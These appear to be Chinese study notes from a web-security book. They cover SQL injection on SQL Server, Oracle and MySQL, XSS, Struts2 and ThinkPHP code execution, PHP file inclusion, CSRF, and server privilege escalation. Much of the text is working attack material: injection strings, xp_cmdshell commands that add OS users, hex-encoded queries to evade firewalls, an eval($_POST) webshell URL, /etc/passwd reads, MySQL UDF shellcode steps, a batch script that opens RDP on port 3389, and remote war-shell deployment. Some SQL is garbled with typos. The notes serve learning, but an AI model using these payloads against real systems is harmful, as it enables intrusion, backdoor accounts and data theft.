本文详细记录 《Web安全深度剖析》 的学习过程,资料为 《Web安全深度剖析》
第一位数字定义嘞 响应的类别,且只有一下5种
1xx: 信息提示,表示请求已被成功接收,继续处理。其范围是 100 ~ 101
2xx:成功,服务器成功地处理了请求。其范围是 200 ~ 206
3xx: 重定向。范围是 300 ~ 305
4xx:客户端错误状态码。范围是 400 ~ 415
5xx:服务器内部错误。范围 500 ~ 505
常见状态码描述
200:客户端请求成功,是最常见的状态
302:重定向
404:请求资源不存在,是最常见的状态
400:客户端请求有语法错误,不能被服务器所理解
401:请求未经授权
403:服务器收到请求,但是拒绝提供服务
500:服务器内部错误,是最常见的状态
503:服务器当前不能处理客户端的请求,一段时间后可能恢复正常
JavaScript 属于前端验证,在浏览器未提交数据时进行验证。Burpsuite 是在通过验证并拦截 HTTP 请求后修改数据,JavaScript 的验证根本起不了任何作用。
前端 JavaScript 验证是为了防止用户输入错误,服务器端验证是为了防止恶意攻击
黑帽 SEO 利用 Referer 和 User-AgenT 来欺骗搜索引擎。Refer而 告诉 Web 服务器用户从哪个页面找过来的,而 User-Agent 则用于告诉 Web 服务器用户使用的浏览器和操作系统信息。
当用户通过搜索引擎打开此网站,一般会引出源页面(Referer 头),如:
Referer:http://www.baidu.com/s?tn=baiduhome_pg&ie=utg-8
Referer:http://www.google.hk/search?newwindow=1&safe=strict
利用这点,黑帽 SEO 就可以用任何 Web 语言进行针对这搜索引擎的流量劫持,一般步骤如下:
User-Agnet 主要用于劫持搜索引擎的蜘蛛,与劫持流量类似,但是具体的作用却不一样
常用语法
site:指定域名
intext:正文中存在关键字的页面
intitle:标题中存在关键字的页面
info:一些基本信息
inurl: URL 存在关键字的网页
filetype 搜索指定文件类型
表结构如下:
create table users{
id int not null identtity(1,1),
username verchar(20) not null,
passowrd varchar(20) not null,
prinvs int not null,
email varchar(50)
}
查询 root 用户的详细信息,SQL 语句如下:
delect * from users where username='root'
攻击者可以利用 SQL Server 特性来获取敏感信息
输入如下语句:
' having 1=1 --+
最终执行 SQL 语句为:
select * from users where username='root' and password='root' having 1=1--+
那么 SQL 执行器将抛出一个错误:
选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数 group by 子句中
可以发现当前表名为 users ,并且存在 id 列名
select * from users where username='root' and password='root' group by users.id having 1=1--+
执行器错误
'users.username' 无效,因为该列没有包含在聚合函数或 group by 子句中
依次可以递归查询,直到没有错误消息为止
利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符转换为另外一个不兼容的类型时,那么 SQL 编辑器将会抛出异常,比如:
select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
执行器错误
在将 varchar() 值 'root' 转换为数据类型 int 使失败
利用此方法可以递归推导出所有的账户信息
select * from users where username='root' and password='root' and 1> (select top 1 from users where username not in('root'))
如果感觉递归比较麻烦,可以通过使用 FOR XML PATH 语句将查询的数据生成 XML ,SQL 语句如下:
select * from users where username='root' and password='root' and 1=convert(int,(select stuff((select '.'=users.username,'|'=users.password from users for xml path("")),1,1,'')))
执行器异常
在将 nvarchar 值 'root|root,admin|admin,xsser|xsser' 转换为数据类型 int 时失败
常见数据库视图
sys.databases:sql server 中的所有数据库
sys/sql_logins:sql server 中所有登录名
information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的所有列的联合
sys_database_principals:数据库中每个权限或列异常权限
sys.database_files:存储在数据库中的数据库文件
sysobjects:数据库中创建的每个对象(例如约束、日志以及存储过程)
order by 子句:为 select 查询的列排序,如果同时指定了 TOp 关键字,order by 子句在试图、内联函数、派生表和子查询中无效
攻击者通常会注入 order by 语句来判断此表的列数
select id,username,password from users where id=1
select id,username,password from id=1 order by 1
select id,username,password from id=1 order by 2
select id,username,password from id=1 order by 3
使用 union 递归查询获取字段数
union select null
union select null,null
查询敏感信息
id=5 union select null,'x',null,null from sysobject where xtype='U'
id=5 union select null,null,'x',null from sysobject where xtype='U'
union all 会自动去除重复的数据,并且按照默认规则排序
suser_name():返回用户的登录名
user_name(): 基于指定的标识符返回数据库用户名
db_name():返回数据库名称
is_numbei('db_owner'):是否为数据库角色
cinvent(int,'5'):数据类型转换
stuff:字符串截取函数
ascii:取 ascii 码
char: 根据 ascii 码去字符
getdata:返回日期
count: 返回组中的总条数
cast: 将一种数据类型的表达式显式转换为另一种数据类型的表达式
rand():返回随机值
is_srvrolemember: 指示 SQL Server 登录名是否为指定服务器角色成员
最常用的存储过程是 xp_cmdshell 这个存储过程允许用户执行操作系统命令
select * from table where id=1;exec xp_cmdshell 'net user test test /add'
并不是任何数据库用户都可以使用此类存储过程,用户必须持有 control server 权限
向 xp_cmdshell 这样的存储过程还有很多
sp_addlogin:创建新的 sql server 登录,该登录允许用户使用 sql server 身份验证连接到 sql server 实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroup:提供 windows 本地组列表或在指定的 windows 域中定义的全局列表
xp_regwirte:未被公布的存储过程,写入注册表
xp_regread:读取注册表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:停止或激活某服务
角色与权限:
bulkadmin:角色成员可以运行 bulk insert 语句
dbcrrator:可以创建、更改、删除和还原任何数据库
diskadmin:可以管理磁盘文件
processadmin:可以终止在数据库引擎实例中运行的进程
securityadmin:可以管理登录名机器属性
serveradmin:可以更改服务器范围的配置选项和关闭服务器
setupadmin:可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin:可以在数据库引擎中执行任何活动
exec(‘select username,password from users’)
exec(‘selec’+‘t username,password fro’+’, users’)
也可以通过定义十六进制的sql语句使用 exec 函数执行,可以突破很多防火墙和防注入程序
declare @query varchar(888)
select @query=0x76956C6563745031
exec(@query)
或者
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
select tablespace_name from user_tablespaces
select table_name from user_tables where rownum=1
select cokumn_name from user_tab_columns where table_name=‘users’
select username from all_users
select object_name from user_objects
union 查询
oracle 与 mysql 一样不支持多语句执行,不想 sql server 那样可以执行多条语句
?id=1;exec xp_cmdshell 'net user temp test / add'
查询列数
在 sql server 和 mysql 中可以直接使用
union select null,null,null...
但是在 oracle 中必须使用:
union select null,null,null,... from dual
dual 是 oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询
oracle 是强类型数据库,必须使用明确的数据类型,所以一般使用 null 代替
获取敏感信息
常见敏感信息
当前用户权限:select * from session_roles
当前数据库版本: select banner from sys.v_$version where rownum=1
服务器出口IP:用 utl_http.request 可以实现
服务器监听IP: select utl_inaddr.get_host_address from dual
服务器操作系统: select menber from v$logfile where rownum=1
服务器sid:select instance_name fromv$instance
当前连接用户:select sys_context('userenv','current_user') from dual
获取表数据
union select username,null,null from users--+
union select null,username,null from users--+
union select null,null.username from users--+
union select null,columns,null from tableName--+
oracle 中包的概念
oracle 可以分为两个部分,一部分是包的规范,相当于java 中的接口,另一部分是包体,相当于java 理接口的实现类,实现了具体的操作
utl_http:提供了对http的一些操作
select utl_http.request('http://www.baidu.com') from dual # 返回 html 源码
utl_file:专门用来操作I/O
# 写文件
create or replace directory XXSER_DIR as 'C:\';
declare
xs_file utl_file.file_type;
begin
xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w')
utl_file.put_line(xs_file,'木马后门');
utl_file.put_line(xs_file,'木马后门2')
utl_file.fflush(xs_file);
utl_file.fclose(xs_file)
end;
# 读文件
create or replace directory XXSER_DIR as 'C:\';
declare
fp_buffer varchar2(4000);
begin
xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w')
utl_file.get_line(xs_file,fp_buffer);
dbms_output.out_line(fp_buffer)
utl_file.fclose(xs_file)
end;
# 执行系统命令
有点多,不抄了
攻击者可以在 之间输入 Javascript 代码,实现特殊效果。
还可以使用 方式来加载脚本
JS 加载外部的代码文件可以是任意扩展名(无扩展名也可以),即使是图片文件,只要其中包含JS代码,也可以执行
反射型 XSS
攻击者伪造链接(站内私信),诱使用户点击,由此盗取用户的cookie,攻击者可以使用用户的cookie 来登录网站
存储型 XSS
反射型 XSS 和 DOM 型 XSS 都依靠用户手动去触发,存储型 XSS 却不需要
测试是否存在 存储型 XSS
确定输入点和输出点
首选寻找留言内容输出的地方是在标签内还是在标签属性内。如果在属性内,xss代码是不会执行的。
如果是在属性内,就要先闭合属性值。
alert(1)
测试步骤:
添加正常留言,使用 firebug 快速寻找显示标签
输入敏感字符,查看是否被转义。敏感字符不容易寻找,可以使用 “AAAAA<>”’&" 字符串,查找的时候直接查找 AAAAA
如果显示区域不在 HTML 属性内,则可以直接使用 XSS 代码注入,如果不能得知输出的具体位置,则可以使用模糊测试方案
普通注入
"/> 闭合标签注入
'"> 闭合标签注入
在插入盗取 cookie 的 JS 代码后,重新加载留言页面(用户查看的时候),XSS代码被浏览器执行
DOM型 XSS
若 URL 的功能是获取 content 参数的值并且输出,就可以使用 XSS 漏洞
?content=
危害
会话劫持
攻击者盗取用户的 cookie 值之后,使用用户的 cookie 值登录目标网站
sessionid 存在服务器端,一般存在于 cookie 中,也可以存在于 URL 中,每个用户的 sessionid 是不同的,包括普通用户和管理员
XSS getshell
xss getshell 的条件是苛刻的,只有开源的 web 应用程序才有可能,在进行黑盒测试的时候,xss getshell 几乎是不可能的事情
XSS 蠕虫
XSS 蠕虫是针对浏览器的攻击,且网站规模越大,攻击效果越大
步骤:
发表一个正常的微博信息,并且记录 articleid
获取用户的userid,此处使用 AJAX 技术访问 http://www.xxser.com/userinfo.php 页面,获取 HTML 源码,并且将 userid 拆分出来
构造用户并转发微博的URl
编辑微博,插入 xss
命令执行漏洞是直接调用系统命令
代码执行漏洞是靠执行代码来调用系统命令
php 命令执行:
system()
shell_exec()
exec()
passthru()
struct2 代码执行
http://host/struct2-blank/example/X.action?action=%25[3*4]
# 访问以上代码,struct2 将会执行 3*4 表达式,如果将 3*4 表达式换成以下语句,将会导致代码执行漏洞
http://host/struct2-showcase/employee/save.actions?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
ThinkPHP 命令执行
index.php/module/action/paraml/${@print(THINK_VERSION)}
index.php/module/action/paraml/${@print(eval($_POST[c])}
函数
require():找不到被包含文件是报错且停止脚步
include():找不到北包含文件时警告并且继续执行
include_once():若文件中的代码已经被包含,则不会再次包含
require_once():若文件中的代码已经被包含,则不会再次包含
本地文件包含
只要文件内容符合php语法规范,那么任何扩展名都可以被解析
如果包含 php 语法规范源文件时,将会暴露其源代码
远程文件包含
需要开启 allow_url_include = on
?page=http://www.2cto.com/php.txt
只要文件内容符合php语法规范,那么任何扩展名都可以被解析
攻击者输入 URL index.php?page=xxx.php,由于xxx.php 不存在,所以会报错,暴露出网站的绝对路径
PHP 文件包含利用
读取敏感文件
index.php?page=/etc/passwd
远程包含shell
index.php?page=echo.txt
其中 echo.txt 内容如下:
")?>
访问该文件,则会在index.php 目录下生成 shell.php,内容为
本地文件包含配合文件上传
文件上传图片木马 /uploadfile/201363.jpg
图片代码如下:
")?>
访问 index.php/?page=./uploadfile/201363.jpg, 则会在index.php 目录下生成 shell.php,内容为
使用 php 封装协议
使用封装协议读取php文件
index.php/?page=PHP://filter/read=convent.base64-encode/resource=config.php
得到结果为 base64加密后的信息,解密即可
写入 php 文件
php://input allow_url_include on de 时候可用
index.php?page=php://input,并且提交内容为 ")?>
包含 apache 日志文件
在访问一个不存在的 url 时,会被 apache 记录到日志(access.log)中
http://www.xxser.com/
如果在 url 中直接输入,括号会被url编码,可以使用 burp 直接发送数据
此时包含 access.log 即可
index.php?page=./…/apaceh56/logs/access.log
截断包含
当图片木马的路径为 /uploadfile/201363.jpg
访问 index.php/?page=./uploadfile/201363.jpg
但是在 PHP程序中会包含 /uploadfile/201363.jpg.php
此时只需要使用 %00 截断即可
访问 index.php/?page=./uploadfile/201363.jpg%00
如果 allow_url_include 为 on 的时候,%00(NULL)会被转义
在一些老版本中还存在一些截断:
index.php?file=info.txt./././././././././…超过一定数量即可截断
绕过 waf
图片木马可以绕过 waf
JSP 包含
静态包含(先包含在处理)
动态包含(先处理在包含)
jsp:include/ 标签在一个非 JSP 文件扩展名时,即使其内容符合 JSP 语法规范,也会读取其源代码,而不会解析其 JSP 代码,意味着攻击者可以得到的信息时有限的
简介
在访问银行页面的时候(sessionid 有效),点击了恶意链接,攻击者就可以直接进行转账
编写一个单独的页面(CSRF 蠕虫)
页面内容(默认已经获取了用户的会话状态),转发微博,并且关注特定用户
如果希望静悄悄地提交数据,不希望页面跳转,可以使用 AJAX 来解决问题
编写 CSRF 的 PoC
打开这个HTML,JS 会自动提交 form 表单,当请求成功后,查看 ID 为5 的用户是否已经被删除,如果被删除,就可以确定存在 CSRF 漏洞
CSRF 可以理解为:服务器到底有没有执行 POC 请求,如果已执行,则代表存在 CSRF 漏洞
防御
二次确定
使用 token
当XSS 和 CSRF 同时存在时,Token 防御机制会失效,因为攻击者可以通过 JS 开获取 Token 值
如果一个网站同时存在 XSS 和CSRF漏洞时,那么,那么XSS可以比CSRF做的更多。CSRF其实就是 XSS 的缩小版。
如果网站存在 XSS 漏洞,那么防范 CSRF 是没有任何意义的
通过修改 id 值来获取同级用户的信息
通过修改 id 来重置同级别的其他用户的密码
通过修改 id 值来获取不同级用户的信息
tomcat
将 jsp 木马制作成 war 包
jar -cvf war_name.war shell.jsp //打包指定文件
jar -cvf shell.war * //打包当前目录下的所有文件
在 war file to deploy ,也就是 war 文件部署,上传 war 文件后,tomcat 自动部署
这一功能需要密码验证,且用户需要有 manager 权限
但是默认用户和弱口令问题还需要防范,另外还有后门账号问题
JBoss
没有密码验证
在 JMX console -> jboss.deployment -> flavor=URL,type=DeploymentScanner 选项,远程部署连接
tomcat需要本地上传,而 JBoss 是使用 url 上传 ,url 是 war 文件的下载地址
http://www.sebug.org/jsp.war
部署成功后就可以访问部署后的文件路径
http://www.xxser.com/shell/jsp.jsp
此时的 jsp 文件为临时文件,当服务器重启之后文件消失。
由于没有密码认证策略,则攻击者常常使用 google hack 来批量获取 shell
WebLogic
新版本有很严格的密码认证策略,老版本存在弱口令问题:weblogic、system、portaladmin、guest
跟 tomcat 类似,也可以在本地上传一个 war 包
可以访问 http://www.xxser.com:7001/jsp/shell.jsp ,即 shell 程序
部署成功后,默认的文件名是 war_name + war 压缩包内文件名
OS 命令执行
http:// www.sebug.org/cmd.php?command=ls
文件包含
http://www.sebug.com/page.php?page=info.txt
动态函数执行
代码执行
SQL Server 提权
主要是利用 xp_cmdshell 这个特殊的存储存储过程提权
这个特殊的存储过程可以执行系统命令
只有在 sysadmin 权限下才可以使用
sql server 提权分为两种:
注入点提权
?id=1;exec master…xp_cmdshell ‘net user 1 1 /add’–+
得到数据库账户信息
假设攻击者已经得知“SA”账户的密码,就可以使用两种方式提权,一种是外连接提权(远程连接数据库提权),另一种是本地连接提权(只能在服务器端提权,通过服务器端的脚本连接数据库进行提权)。
账户信息通常在 conn.asp、web.config、db.inc
可以通过 sp_configure 启用 xp_cmdshell
开启 xp_cmdshell 的sql 语句:
exec sp_configure 'show advanced options',1
go
reconfigure
go
exec sp_configure 'xp_cmdshell',1
go
reconfigure
go
关闭 xp_cmdshell 的sql 语句:
exec sp_configure 'show advanced options',1
go
reconfigure
go
exec sp_configure 'xp_cmdshell',0
go
reconfigure
go
mysql 提权
使用自定义函数提权
create table temptable(udf blog); 创建临时表
insert intotemptablevalues(convert(shellcode,char));插入 shellcode
select udf from temptable into dumpfile 'c:\windows\udf.dll'; //导出 udf.dll,mysql 5.0以上必须要导出到系统目录,
//mysql 5.1 以上的版本只能导出到 msyql 安装目录下的 lib/plugin 目录下才可以
drop table temptable; 删除临时表
create function cmdshell returns string soname 'udf.dll'; 创建 cmdshell 函数
select cmdshell('command'); 执行命令
drop function cmdshell; 删除 cmdshell函数
存在一些自动化提权脚本
mysql 数据库的账户密码存放在 /data/mysql/user.MYD 中,md5 加密的
也可以利用 mysql 写文件的特性将密码写入到启动项中
FTP 提权
如果赋予用户执行权限,那么 FTP 用户就可以使用 “quote site exec” 执行系统命令,比如 “quote site exec net user temp temp /add” 命令
Serc-U
Serc-U 的账号密码存放在 SercAdmin.exe 中。将其下载至本地,使用十六进制打开即可发现管理员密码。搜集目录很重要
FTP 账户在配置文件 ServUDeamon.ini 中,Password 是 md5 加密。可以添加账户并赋予执行权限(quote site exec),也可以破解其他账户密码。(Serv-U V6.4)
FileZilla
FileZillaServer Interface.xml 保存了FTP 管理员信息,Last Server password 明文密码
FileZilla Server.xml 保存了服务器所有的 FTP 用户信息,User Pass 标签
虚拟主机提权
星外虚拟主机:D:\freehost\xxxxxxx\
华众虚拟主机:D:\hzhost\xxxxxxx\
新网虚拟主机:D:\virtualhost\xxxxxxxx\
万网虚拟主机:D:\user\xxxxxxx\
虚拟主机都会支持 aspx 扩展名的脚本语言,而 aspx 可以执行一些简单的系统命令,既然可以执行系统命令就可以尝试本地溢出
可以使用一些 0day 来提权
远程开启 3389 端口(bat 脚本)
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
lpk.dll 位于 system32 目录下,每个可执行文件在执行之前都要加载这个文件。
windows 是先判断当前目录是否存在此文件,再判断特定路径是否存在此文件
工具:Tools Lpk Sethc
远程控制程序
后门账号
HideAdmin 工具可以隐藏账户
克隆账号
克隆一个账号放在 administrator 组
直接使用 Administrator 的账号密码
使用 minikatz 可以读取管理员密码
在线程插入后门
web 后门